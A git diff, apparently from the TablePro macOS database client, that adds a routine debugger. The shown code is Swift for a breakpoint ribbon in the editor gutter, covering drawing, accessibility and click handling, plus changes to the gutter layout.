 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugSession.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPListener.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPPacket.swift
 create mode 100644 apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStopBudgetTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugUnitTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPBreakpointTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRecording.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPRespondingPeer.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSessionStartTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPSilentPeerTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPStopOverlapTests.swift
 create mode 100644 apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OraclePLSQLDeclarationScanTests.swift
 create mode 100644 apple/Plugins/OracleDriverPlugin/OracleDebugText.swift
 create mode 100644 apple/Plugins/OracleDriverPlugin/OraclePluginDriver+Debugging.swift
 create mode 100644 apple/Plugins/OracleDriverPlugin/OracleRoutineDebugSession.swift
 create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift
 create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift
 create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift
 create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift
 create mode 100644 apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugSession.swift
 create mode 100644 apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift
 create mode 100644 apple/Plugins/TableProPluginKit/PluginRoutineDebugging.swift
 create mode 100644 apple/TablePro/Core/Menu/DebugMenuBuilder.swift
 create mode 100644 apple/TablePro/Core/Modules/AppModule.swift
 create mode 100644 apple/TablePro/Core/Modules/AppModuleActivation.swift
 create mode 100644 apple/TablePro/Core/Modules/AppModuleSettings.swift
 create mode 100644 apple/TablePro/Core/Modules/AppModuleTermination.swift
 create mode 100644 apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift
 create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift
 create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugOptionStore.swift
 create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugSessionSource.swift
 create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugSessions.swift
 create mode 100644 apple/TablePro/Core/RoutineDebugging/RoutineDebugStartFlow.swift
 create mode 100644 apple/TablePro/Core/Services/Infrastructure/MainSplitViewController+DebugMenuActions.swift
 create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugChooserSheet.swift
 create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugPanes.swift
 create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugPreparationPrompt.swift
 create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugSheet.swift
 create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugSourceView.swift
 create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugStartSheet.swift
 create mode 100644 apple/TablePro/Views/RoutineDebug/RoutineDebugTabView.swift
 create mode 100644 apple/TablePro/Views/Settings/Plugins/ModuleToggleRow.swift
 create mode 100644 apple/TableProTests/Core/Menu/DebugMenuBuilderTests.swift
 create mode 100644 apple/TableProTests/Core/Modules/AppModuleResidueTests.swift
 create mode 100644 apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift
 create mode 100644 apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugSheetTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartFlowTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugStartModelTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugTabTests.swift
 create mode 100644 apple/TableProTests/Core/RoutineDebugging/RoutineDebugToolbarTests.swift
 create mode 100644 apple/TableProTests/Views/Sidebar/DatabaseTreeMenuSpecTests+Debug.swift
 create mode 100644 apple/changelog.d/3860.added.md
 create mode 100644 apple/changelog.d/3860.changed.md
 create mode 100755 apple/scripts/probes/check-oracle-debugger.sh
 create mode 100755 apple/scripts/probes/check-pldebugger-session.sh

diff --git a/.claude/rules/data-sync-storage.md b/.claude/rules/data-sync-storage.md
index 24a2d160ab..daafa2f767 100644
--- a/.claude/rules/data-sync-storage.md
+++ b/.claude/rules/data-sync-storage.md
@@ -39,6 +39,9 @@ This path holds user data. A silent wrong answer here looks exactly like an empt
 | Sidebar database and schema filters, recent tables | UserDefaults, device-local | `DatabaseTreeFilterStorage`, `RecentTablesStore` |
 | History drawer state | UserDefaults, device-local | `HistoryPanelPreferencesStorage` |
 | Server Dashboard tiles, per connection | UserDefaults, device-local | `ServerDashboardTileStorage` |
+| Module on/off (Settings > Extensions) | UserDefaults, device-local, never synced | `AppModuleSettings` |
+| Routine debugger start options, per connection and field | UserDefaults, device-local | `RoutineDebugOptionStore` |
+| Whether the toolbar arrangement already carries the debug items | UserDefaults, device-local | `MainWindowToolbar` |
 | Trusted external links (loopback only) | UserDefaults | `ExternalConnectionTrustStore` |
 | Table load timings (no identifying data, never uploaded) | JSON lines | `TableLoadHistoryStore` |
 | Reopen Last Session list (`LastSession.json`, plus `LastOpenConnections.json` holding only the ids that reconnect, which older builds read) | JSON | `LastOpenConnectionsStorage` |
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift
new file mode 100644
index 0000000000..0d934548a1
--- /dev/null
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Accessibility.swift
@@ -0,0 +1,116 @@
+//
+//  BreakpointRibbonView+Accessibility.swift
+//  TableProEditorKit
+//
+
+import AppKit
+import TableProTextEngine
+
+final class BreakpointElement: NSAccessibilityElement {
+    let line: Int
+    private let label: String
+    private let onPress: (Int) -> Void
+
+    init(line: Int, label: String, onPress: @escaping (Int) -> Void) {
+        self.line = line
+        self.label = label
+        self.onPress = onPress
+        super.init()
+    }
+
+    override func accessibilityRole() -> NSAccessibility.Role? {
+        .button
+    }
+
+    override func accessibilityLabel() -> String? {
+        label
+    }
+
+    override func isAccessibilityEnabled() -> Bool {
+        true
+    }
+
+    override func accessibilityPerformPress() -> Bool {
+        onPress(line)
+        return true
+    }
+}
+
+extension BreakpointRibbonView {
+    override func isAccessibilityElement() -> Bool {
+        true
+    }
+
+    override func accessibilityRole() -> NSAccessibility.Role? {
+        .group
+    }
+
+    override func accessibilityLabel() -> String? {
+        String(localized: "Breakpoints")
+    }
+
+    override func accessibilityValue() -> Any? {
+        guard let executionLine = controller?.executionLine else { return nil }
+        return String(format: String(localized: "Paused at line %d"), executionLine)
+    }
+
+    // One element per breakpoint on screen.
+    override func accessibilityChildren() -> [Any]? {
+        let breakpoints = controller?.breakpointLines ?? []
+        let key = PublishedElementsKey(
+            breakpointLines: breakpoints,
+            visibleRect: visibleRect,
+            windowFrame: window?.frame,
+            documentHeight: controller?.textView?.frame.height
+        )
+        if key == publishedElementsKey {
+            return publishedElements
+        }
+        publishedElementsKey = key
+
+        guard let layoutManager = controller?.textView?.layoutManager else {
+            publishedElements = []
+            return []
+        }
+
+        let format = String(localized: "Breakpoint, line %d")
+        let toggle: (Int) -> Void = { [weak self] line in
+            self?.controller?.onBreakpointToggle?(line)
+        }
+        let visible = visibleRect
+
+        publishedElements = breakpoints.sorted().compactMap { lineNumber -> BreakpointElement? in
+            guard let line = position(ofLine: lineNumber, in: layoutManager),
+                  line.yPos < visible.maxY, line.yPos + line.height > visible.minY else {
+                return nil
+            }
+            let element = BreakpointElement(
+                line: lineNumber,
+                label: String(format: format, lineNumber),
+                onPress: toggle
+            )
+            element.setAccessibilityParent(self)
+            element.setAccessibilityFrame(
+                screenRect(CGRect(x: 0, y: line.yPos, width: bounds.width, height: line.height))
+            )
+            return element
+        }
+
+        return publishedElements
+    }
+
+    override func accessibilityHitTest(_ point: NSPoint) -> Any? {
+        accessibilityElement(atScreenPoint: point) ?? super.accessibilityHitTest(point)
+    }
+
+    // The gutter floats over the text view, so a positional lookup lands on the gutter, which asks here.
+    func accessibilityElement(atScreenPoint point: NSPoint) -> BreakpointElement? {
+        let children = accessibilityChildren() as? [BreakpointElement] ?? []
+        return children.first { $0.accessibilityFrame().contains(point) }
+    }
+
+    private func screenRect(_ rect: CGRect) -> CGRect {
+        guard let window else { return .zero }
+        return window.convertToScreen(convert(rect, to: nil))
+    }
+}
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift
new file mode 100644
index 0000000000..b2565340b9
--- /dev/null
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView+Draw.swift
@@ -0,0 +1,54 @@
+//
+//  BreakpointRibbonView+Draw.swift
+//  TableProEditorKit
+//
+
+import AppKit
+import TableProTextEngine
+
+extension BreakpointRibbonView {
+    override func draw(_ dirtyRect: NSRect) {
+        super.draw(dirtyRect)
+
+        guard let controller, let layoutManager = controller.textView?.layoutManager else { return }
+        let breakpoints = controller.breakpointLines
+        let executionLine = controller.executionLine
+
+        for lineNumber in breakpoints {
+            let marker: Marker = lineNumber == executionLine ? .breakpointAtExecution : .breakpoint
+            draw(marker, color: breakpointColor, onLine: lineNumber, in: dirtyRect, layoutManager: layoutManager)
+        }
+
+        if let executionLine, !breakpoints.contains(executionLine) {
+            draw(.execution, color: executionColor, onLine: executionLine, in: dirtyRect, layoutManager: layoutManager)
+        }
+
+        if let hoveredLine, hoveredLine != executionLine, !breakpoints.contains(hoveredLine) {
+            let hint = breakpointColor.withAlphaComponent(breakpointColor.alphaComponent * Self.hintOpacity)
+            draw(.breakpoint, color: hint, onLine: hoveredLine, in: dirtyRect, layoutManager: layoutManager)
+        }
+    }
+
+    private func draw(
+        _ marker: Marker,
+        color: NSColor,
+        onLine lineNumber: Int,
+        in dirtyRect: NSRect,
+        layoutManager: TextLayoutManager
+    ) {
+        guard let line = position(ofLine: lineNumber, in: layoutManager),
+              line.yPos < dirtyRect.maxY, line.yPos + line.height > dirtyRect.minY,
+              let image = glyph(marker, color: color) else {
+            return
+        }
+
+        let size = image.size
+        let rect = NSRect(
+            x: (bounds.width - size.width) / 2,
+            y: line.yPos + (line.height - size.height) / 2,
+            width: size.width,
+            height: size.height
+        )
+        image.draw(in: rect.pixelAligned)
+    }
+}
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift
new file mode 100644
index 0000000000..ed972d4268
--- /dev/null
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Breakpoints/BreakpointRibbonView.swift
@@ -0,0 +1,172 @@
+//
+//  BreakpointRibbonView.swift
+//  TableProEditorKit
+//
+
+import AppKit
+import TableProTextEngine
+
+// The breakpoints and execution line live on the controller, so a host can set them before this view exists.
+class BreakpointRibbonView: NSView {
+    static let width: CGFloat = 14.0
+    static let glyphPointSize: CGFloat = 9.0
+    static let hintOpacity: CGFloat = 0.4
+
+    enum Marker: Hashable {
+        case breakpoint
+        case execution
+        case breakpointAtExecution
+    }
+
+    private struct GlyphKey: Hashable {
+        let marker: Marker
+        let color: NSColor
+    }
+
+    // Window frame and document height catch a window move, fold or rewrap that moves an element.
+    struct PublishedElementsKey: Equatable {
+        let breakpointLines: Set<Int>
+        let visibleRect: CGRect
+        let windowFrame: CGRect?
+        let documentHeight: CGFloat?
+    }
+
+    @Invalidating(.display)
+    var breakpointColor: NSColor = .systemRed
+
+    @Invalidating(.display)
+    var executionColor: NSColor = .systemGreen
+
+    // NSAccessibilityElement requires its vendor to keep ownership; fresh objects per query make VoiceOver focus jump.
+    var publishedElements: [BreakpointElement] = []
+    var publishedElementsKey: PublishedElementsKey?
+
+    private(set) var hoveredLine: Int? {
+        didSet {
+            guard hoveredLine != oldValue else { return }
+            needsDisplay = true
+        }
+    }
+
+    private var glyphCache: [GlyphKey: NSImage] = [:]
+    private var pressedLine: Int?
+
+    weak var controller: TextViewController?
+
+    override var isFlipped: Bool {
+        true
+    }
+
+    init(controller: TextViewController) {
+        self.controller = controller
+        super.init(frame: .zero)
+        layerContentsRedrawPolicy = .onSetNeedsDisplay
+        clipsToBounds = false
+    }
+
+    required init?(coder: NSCoder) {
+        fatalError("init(coder:) has not been implemented")
+    }
+
+    // MARK: - Hover
+
+    func pointerMoved(to point: CGPoint) {
+        hoveredLine = bounds.contains(point) ? line(at: point) : nil
+    }
+
+    func pointerExitedGutter() {
+        hoveredLine = nil
+    }
+
+    override func scrollWheel(with event: NSEvent) {
+        super.scrollWheel(with: event)
+        pointerMoved(to: convert(event.locationInWindow, from: nil))
+    }
+
+    // MARK: - Mouse Events
+
+    // Fires on mouse up over the line the press started on, so dragging off takes the press back, as with a button.
+    override func mouseDown(with event: NSEvent) {
+        let point = convert(event.locationInWindow, from: nil)
+        guard event.type == .leftMouseDown, let line = line(at: point) else {
+            super.mouseDown(with: event)
+            return
+        }
+        pressedLine = line
+    }
+
+    override func mouseDragged(with event: NSEvent) {
+        guard pressedLine != nil else {
+            super.mouseDragged(with: event)
+            return
+        }
+        pointerMoved(to: convert(event.locationInWindow, from: nil))
+    }
+
+    override func mouseUp(with event: NSEvent) {
+        guard let pressed = pressedLine else {
+            super.mouseUp(with: event)
+            return
+        }
+        pressedLine = nil
+
+        let point = convert(event.locationInWindow, from: nil)
+        if bounds.contains(point), line(at: point) == pressed {
+            controller?.onBreakpointToggle?(pressed)
+        }
+        pointerMoved(to: point)
+    }
+
+    // MARK: - Line Lookup
+
+    func line(at point: CGPoint) -> Int? {
+        guard let layoutManager = controller?.textView?.layoutManager,
+              let line = layoutManager.textLineForPosition(point.y),
+              point.y >= line.yPos, point.y < line.yPos + line.height else {
+            return nil
+        }
+        return line.index + 1
+    }
+
+    // Nil for a line a collapsed fold hides, which the layout manager would otherwise answer with the fold's own line.
+    func position(
+        ofLine lineNumber: Int,
+        in layoutManager: TextLayoutManager
+    ) -> TextLineStorage<TextLine>.TextLinePosition? {
+        guard let line = layoutManager.textLineForIndex(lineNumber - 1), line.index == lineNumber - 1 else {
+            return nil
+        }
+        return line
+    }
+
+    // Resolved while drawing, so the cache key is the color for the appearance AppKit made current.
+    func glyph(_ marker: Marker, color: NSColor) -> NSImage? {
+        let resolved = color.usingColorSpace(.sRGB) ?? color
+        let key = GlyphKey(marker: marker, color: resolved)
+        if let cached = glyphCache[key] {
+            return cached
+        }
+
+        let symbolName: String
+        let palette: [NSColor]
+        switch marker {
+        case .breakpoint:
+            symbolName = "circle.fill"
+            palette = [resolved]
+        case .execution:
+            symbolName = "arrowshape.right.fill"
+            palette = [resolved]
+        case .breakpointAtExecution:
+            symbolName = "arrowtriangle.right.circle.fill"
+            palette = [.white, resolved]
+        }
+
+        let configuration = NSImage.SymbolConfiguration(pointSize: Self.glyphPointSize, weight: .semibold)
+            .applying(NSImage.SymbolConfiguration(paletteColors: palette))
+        let image = NSImage(systemSymbolName: symbolName, accessibilityDescription: nil)?
+            .withSymbolConfiguration(configuration)
+
+        glyphCache[key] = image
+        return image
+    }
+}
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift
new file mode 100644
index 0000000000..8f04d5efe5
--- /dev/null
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Breakpoints.swift
@@ -0,0 +1,38 @@
+//
+//  TextViewController+Breakpoints.swift
+//  TableProEditorKit
+//
+
+import AppKit
+
+extension TextViewController {
+    func breakpointLinesDidChange() {
+        gutterView?.breakpointRibbon.needsDisplay = true
+    }
+
+    func executionLineDidChange() {
+        (textView as? SourceEditorTextView)?.executionLine = executionLine
+        if let ribbon = gutterView?.breakpointRibbon {
+            ribbon.needsDisplay = true
+            NSAccessibility.post(element: ribbon, notification: .valueChanged)
+        }
+        executionLineNeedsReveal = executionLine != nil
+        revealExecutionLineIfNeeded()
+    }
+
+    // Before the view has a size or the source has arrived it stays pending; `viewDidAppear` and `setText` retry.
+    func revealExecutionLineIfNeeded() {
+        guard executionLineNeedsReveal,
+              let executionLine,
+              let textView,
+              isViewLoaded, scrollView != nil, view.window != nil,
+              let line = textView.layoutManager.lineStorage.getLine(atIndex: executionLine - 1) else {
+            return
+        }
+        executionLineNeedsReveal = false
+        revealFold(containing: line.range.location)
+        // A just-replaced document has not grown the view to its height yet, which would clamp the scroll.
+        textView.updateFrameIfNeeded()
+        textView.scrollToRange(NSRange(location: line.range.location, length: 0), center: true)
+    }
+}
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift
index 564db216ca..5005b1f278 100644
--- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController+Lifecycle.swift
@@ -18,6 +18,7 @@ extension TextViewController {
 
     override public func viewDidAppear() {
         super.viewDidAppear()
+        revealExecutionLineIfNeeded()
         textCoordinators.forEach { $0.val?.controllerDidAppear(controller: self) }
     }
 
@@ -187,6 +188,7 @@ extension TextViewController {
         gutterView?.needsDisplay = true
         gutterView?.foldingRibbon.needsDisplay = true
         gutterView?.statementRunRibbon.needsDisplay = true
+        gutterView?.breakpointRibbon.needsDisplay = true
     }
 
     func setUpOberservers() {
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift
index 0af0e1bf2a..9944635022 100644
--- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Controller/TextViewController.swift
@@ -89,6 +89,22 @@ public class TextViewController: NSViewController {
     ///         strong reference to the delegate is kept *outside* of this variable.
     public weak var completionDelegate: CodeSuggestionDelegate?
 
+    public var breakpointLines: Set<Int> = [] {
+        didSet {
+            guard breakpointLines != oldValue else { return }
+            breakpointLinesDidChange()
+        }
+    }
+
+    public var executionLine: Int? {
+        didSet {
+            guard executionLine != oldValue else { return }
+            executionLineDidChange()
+        }
+    }
+
+    public var onBreakpointToggle: ((Int) -> Void)?
+
     // MARK: - Config Helpers
 
     /// The font to use in the `textView`
@@ -180,6 +196,8 @@ public class TextViewController: NSViewController {
     var snippetChoicePresenter: SnippetChoicePresenter = SnippetChoiceMenu.present
     var snippetChoiceGeneration = 0
 
+    var executionLineNeedsReveal = false
+
     /// The width of the view floating along the editor's leading edge: the gutter.
     /// ``SourceEditorScrollView`` reserves it so the text scrolls clear of it.
     var floatingSubviewInsets: HorizontalEdgeInsets {
@@ -274,6 +292,7 @@ public class TextViewController: NSViewController {
         for coordinator in textCoordinators.values() {
             coordinator.textViewDidReplaceDocument(controller: self)
         }
+        revealExecutionLineIfNeeded()
         // Deferred because the binding replaces the document from inside a SwiftUI update, where the find panel's
         // model must not publish.
         DispatchQueue.main.async { [weak findViewController] in
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift
index d32d6a20bb..9157c23761 100644
--- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/Gutter/GutterView.swift
@@ -109,15 +109,22 @@ public class GutterView: NSView {
         }
     }
 
-    /// Toggle the visibility of the per-statement run controls.
-    ///
-    /// The column they sit in is reserved for as long as this is on, whether or not the pointer is revealing a
-    /// control, so a document never shifts sideways under the reader.
+    // The column is reserved while this is on, revealed or not, so the document never shifts under the reader.
     @Invalidating(.display)
     public var showStatementRunControls: Bool = false {
         didSet {
             statementRunRibbon.isHidden = !showStatementRunControls
             updateWidthIfNeeded()
+            layoutRibbons()
+        }
+    }
+
+    @Invalidating(.display)
+    public var showBreakpoints: Bool = false {
+        didSet {
+            breakpointRibbon.isHidden = !showBreakpoints
+            updateWidthIfNeeded()
+            layoutRibbons()
         }
     }
 
@@ -170,14 +177,23 @@ public class GutterView: NSView {
         statementRunRibbon.isHidden ? 0 : StatementRunRibbonView.width + statementRunRibbonPadding
     }
 
-    /// Where the line numbers start.
-    ///
-    /// The run controls live in the margin the gutter already keeps from the window edge rather than being charged
-    /// for a column of their own, which is where Xcode puts its gutter controls too. The margin only grows when the
-    /// controls need more room than it already had.
+    var breakpointRibbon: BreakpointRibbonView
+
+    @Invalidating(.display)
+    var breakpointRibbonPadding: CGFloat = 4
+
+    var breakpointRibbonWidth: CGFloat {
+        breakpointRibbon.isHidden ? 0 : BreakpointRibbonView.width + breakpointRibbonPadding
+    }
+
+    private var leadingControlsWidth: CGFloat {
+        breakpointRibbonWidth + statementRunRibbonWidth
+    }
+
+    // The leading controls share the window-edge margin, as Xcode's do; it grows only when they need more.
     private var lineNumberLeading: CGFloat {
-        guard showLineNumbers else { return statementRunRibbonWidth }
-        return max(edgeInsets.leading, statementRunRibbonWidth)
+        guard showLineNumbers else { return leadingControlsWidth }
+        return max(edgeInsets.leading, leadingControlsWidth)
     }
 
     /// The leading inset only exists to keep line numbers off the edge, so a gutter without them drops it rather
@@ -204,28 +220,39 @@ public class GutterView: NSView {
         true
     }
 
-    /// We override this variable so we can update the two ribbons' frames to match the gutter.
     override public var frame: NSRect {
         get {
             super.frame
         }
         set {
             super.frame = newValue
-            foldingRibbon.frame = NSRect(
-                x: newValue.width - edgeInsets.trailing - foldingRibbonWidth + foldingRibbonPadding,
-                y: 0.0,
-                width: foldingRibbonWidth,
-                height: newValue.height
-            )
-            statementRunRibbon.frame = NSRect(
-                x: 0.0,
-                y: 0.0,
-                width: max(0, statementRunRibbonWidth - statementRunRibbonPadding),
-                height: newValue.height
-            )
+            layoutRibbons()
         }
     }
 
+    // Also called when a ribbon shows or hides, since that can leave the gutter's width, and so its frame, unchanged.
+    private func layoutRibbons() {
+        let size = frame.size
+        foldingRibbon.frame = NSRect(
+            x: size.width - edgeInsets.trailing - foldingRibbonWidth + foldingRibbonPadding,
+            y: 0.0,
+            width: foldingRibbonWidth,
+            height: size.height
+        )
+        breakpointRibbon.frame = NSRect(
+            x: 0.0,
+            y: 0.0,
+            width: max(0, breakpointRibbonWidth - breakpointRibbonPadding),
+            height: size.height
+        )
+        statementRunRibbon.frame = NSRect(
+            x: breakpointRibbonWidth,
+            y: 0.0,
+            width: max(0, statementRunRibbonWidth - statementRunRibbonPadding),
+            height: size.height
+        )
+    }
+
     public convenience init(
         configuration: borrowing SourceEditorConfiguration,
         controller: TextViewController,
@@ -255,6 +282,7 @@ public class GutterView: NSView {
 
         foldingRibbon = LineFoldRibbonView(controller: controller)
         statementRunRibbon = StatementRunRibbonView(controller: controller)
+        breakpointRibbon = BreakpointRibbonView(controller: controller)
 
         super.init(frame: .zero)
         clipsToBounds = true
@@ -264,8 +292,10 @@ public class GutterView: NSView {
         layer?.masksToBounds = true
 
         statementRunRibbon.isHidden = !showStatementRunControls
+        breakpointRibbon.isHidden = !showBreakpoints
         addSubview(foldingRibbon)
         addSubview(statementRunRibbon)
+        addSubview(breakpointRibbon)
 
         // A block observer is only removed through its token, and only this editor's selection moves its line band.
         selectionObserver = NotificationCenter.default.addObserver(
@@ -287,9 +317,12 @@ public class GutterView: NSView {
         textView?.menu(for: event)
     }
 
-    /// A positional accessibility lookup lands on the gutter for the same reason a right-click does, so it answers for
-    /// the controls its ribbons draw rather than letting the search fall through to the text view underneath.
+    // A positional lookup lands on the gutter, not the ribbons, for the same reason a right-click does.
     override public func accessibilityHitTest(_ point: NSPoint) -> Any? {
+        if !breakpointRibbon.isHidden,
+           let hit = breakpointRibbon.accessibilityElement(atScreenPoint: point) {
+            return hit
+        }
         if !statementRunRibbon.isHidden,
            let hit = statementRunRibbon.accessibilityElement(atScreenPoint: point) {
             return hit
@@ -335,6 +368,7 @@ public class GutterView: NSView {
     override public func mouseExited(with event: NSEvent) {
         foldingRibbon.pointerExitedGutter()
         statementRunRibbon.pointerExitedGutter()
+        breakpointRibbon.pointerExitedGutter()
     }
 
     private func forwardPointer(_ event: NSEvent) {
@@ -344,6 +378,9 @@ public class GutterView: NSView {
         if !statementRunRibbon.isHidden {
             statementRunRibbon.pointerMoved(to: statementRunRibbon.convert(event.locationInWindow, from: nil))
         }
+        if !breakpointRibbon.isHidden {
+            breakpointRibbon.pointerMoved(to: breakpointRibbon.convert(event.locationInWindow, from: nil))
+        }
     }
 
     /// Updates the width of the gutter if needed to match the maximum line number found as well as the folding ribbon.
diff --git a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift
index 3b01170b37..b359516461 100644
--- a/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift
+++ b/apple/Packages/TableProEditor/Sources/TableProEditorKit/SourceEditorConfiguration/SourceEditorConfiguration+Peripherals.swift
@@ -46,6 +46,8 @@ public extension SourceEditorConfiguration {
 
         public var showSpecialCharacters: Bool
 
+        public var showBreakpoints: Bool = false
+
         public init(
             showGutter: Bool = true,
             showLineNumbers: Bool = true,
@@ -55,7 +57,8 @@ public extension SourceEditorConfiguration {
             foldingSizeLimit: Int = EditorHighlighting.maxHighlightableCharacters,
             invisibleCharactersConfiguration: InvisibleCharactersConfiguration = .empty,
             warningCharacters: Set<UInt16> = [],
-            showSpecialCharacters: Bool = false
+            showSpecialCharacters: Bool = false,
+            showBreakpoints: Bool = false
         ) {
             self.showGutter = showGutter
             self.showLineNumbers = showLineNumbers
@@ -66,6 +69,7 @@ public extension SourceEditorConfiguration {
             self.invisibleCharactersConfiguration = invisibleCharactersConfiguration
             self.warningCharacters = warningCharacters
             self.showSpecialCharacters = showSpecialCharacters
+            self.showBreakpoints = showBreakpoints
         }
 
         @MainActor
@@ -91,6 +95,11 @@ public extension SourceEditorConfiguration {
                 shouldUpdateInsets = true
             }
 
+            if oldConfig?.showBreakpoints != showBreakpoints {
+                controller.gutterView.showBreakpoints = showBreakpoints
+                shouldUpdateInsets = true
+            }
+
             if oldConfig?.gutterFitsContent != gutterFitsContent {
                 controller.gutterView.fitsContent = gutterFitsContent
             }
